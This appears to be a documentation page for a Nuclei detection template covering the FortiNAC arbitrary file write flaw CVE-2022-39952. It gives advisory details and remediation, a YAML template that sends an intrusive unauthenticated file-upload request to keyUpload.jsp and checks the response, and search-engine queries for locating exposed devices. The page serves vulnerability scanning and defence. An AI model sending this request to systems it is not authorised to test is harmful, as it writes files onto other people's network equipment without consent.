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Fortinet FortiNAC - Arbitrary File Write

ID: CVE-2022-39952

Severity: critical

Author: dwisiswant0

Tags: cve,cve2022,fortinet,fortinac,fileupload,rce,intrusive

Description

Section titled “Description”

Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.

YAML Source

Section titled “YAML Source”
id: CVE-2022-39952


info:
  name: Fortinet FortiNAC - Arbitrary File Write
  author: dwisiswant0
  severity: critical
  description: |
    Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data loss.
  remediation: Upgrade to 9.4.1, 9.2.6, 9.2.6, 9.1.8, 7.2.0 or above.
  reference:
    - https://fortiguard.com/psirt/FG-IR-22-300
    - https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
    - https://github.com/horizon3ai/CVE-2022-39952
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39952
    - https://github.com/1f3lse/taiE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-39952
    cwe-id: CWE-668,CWE-73
    epss-score: 0.96445
    epss-percentile: 0.99548
    cpe: cpe:2.3:a:fortinet:fortinac:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortinac
    shodan-query:
      - title:"FortiNAC"
      - http.title:"fortinac"
    fofa-query: title="fortinac"
    google-query: intitle:"fortinac"
  tags: cve,cve2022,fortinet,fortinac,fileupload,rce,intrusive
variables:
  boundaryId: "{{hex_encode(rand_text_alphanumeric(16))}}"


http:
  - method: POST
    path:
      - "{{BaseURL}}/configWizard/keyUpload.jsp"


    body: |
      --{{boundaryId}}
      Content-Disposition: form-data; name="key"; filename="{{to_lower(rand_text_alphanumeric(8))}}.zip"


      {{randstr}}
      --{{boundaryId}}--


    headers:
      Content-Type: "multipart/form-data; boundary={{boundaryId}}"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "zipUploadSuccess"
          - "SuccessfulUpload"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eafef1c375139825bb3a143b302a377ca50cb7fad95456905507ede139c3d00c02206e8ab574ae18aaf911beb6c35dc0d59b6503f0d748dc9ccc3f10d5a7f667d8ec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-39952.yaml"

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